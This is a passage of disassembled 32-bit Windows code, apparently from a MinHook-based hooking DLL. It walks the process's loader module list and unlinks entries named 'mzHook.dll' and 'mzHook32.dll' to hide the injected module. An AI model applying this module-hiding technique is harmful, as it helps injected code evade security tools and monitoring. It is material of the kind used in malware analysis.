call edi
push eax
call esi
push 0
push 0
push 0
push 0x10005870
push 0
push 0
call edi
push eax
call esi
lea eax, [ebp - 0x24]
push eax
push 0x18
lea eax, [ebp - 0x160]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x20], eax
mov eax, dword [eax + 0xc]
add eax, 0x14
mov edi, dword [eax]
cmp edi, eax
je 0x10006e15
mov eax, dword [edi + 0x28]
mov edx, str.mzHook.dll
mov ecx, eax
mov si, word [ecx]
cmp si, word [edx]
jne 0x10006db6
test si, si
je 0x10006db2
mov si, word [ecx + 2]
cmp si, word [edx + 2]
jne 0x10006db6
add ecx, 4
add edx, 4
test si, si
jne 0x10006d90
xor ecx, ecx
jmp 0x10006dbb
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x10006df3
mov ecx, str.mzHook32.dll
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x10006dea
test dx, dx
je 0x10006de6
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x10006dea
add eax, 4
add ecx, 4
test dx, dx
jne 0x10006dc4
xor eax, eax
jmp 0x10006def
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10006e02
mov ecx, dword [edi]
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
mov ecx, dword [edi + 4]
mov eax, dword [edi]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov edi, dword [edi]
mov eax, dword [eax + 0xc]
add eax, 0x14
cmp edi, eax
jne 0x10006d86
mov ecx, dword [ebp - 0xa4]
cmp ecx, 8
jb 0x10006e55
mov edx, dword [ebp - 0xb8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10006e4b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f87
push ecx
push edx
call fcn.100dafa8
add esp, 8
mov ecx, dword [ebp - 0x5c]
xor eax, eax
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 7
mov word [ebp - 0xb8], ax
cmp ecx, 0x10
jb 0x10006ea6
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10006e9c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f87
push ecx
push edx
call fcn.100dafa8
add esp, 8
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
jmp 0x10006ed5
xor eax, eax
xchg dword [edx], eax
push 0x41030
push str.DllWrap
push str.MH_Initialize_err.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 0x134]
pop edi
pop esi
cmp ecx, 8
jb 0x10006f17
mov edx, dword [ebp - 0x148]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10006f0d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f87
push ecx
push edx
call fcn.100dafa8
add esp, 8
mov ecx, dword [ebp - 0x1fc]
xor eax, eax
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 7
mov word [ebp - 0x148], ax
cmp ecx, 0x10
jb 0x10006f6a
mov edx, dword [ebp - 0x210]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10006f60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10006f87
push ecx
push edx
call fcn.100dafa8
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.100e16a8
call fcn.100e16a8
call fcn.100e16a8
call fcn.100e16a8
int3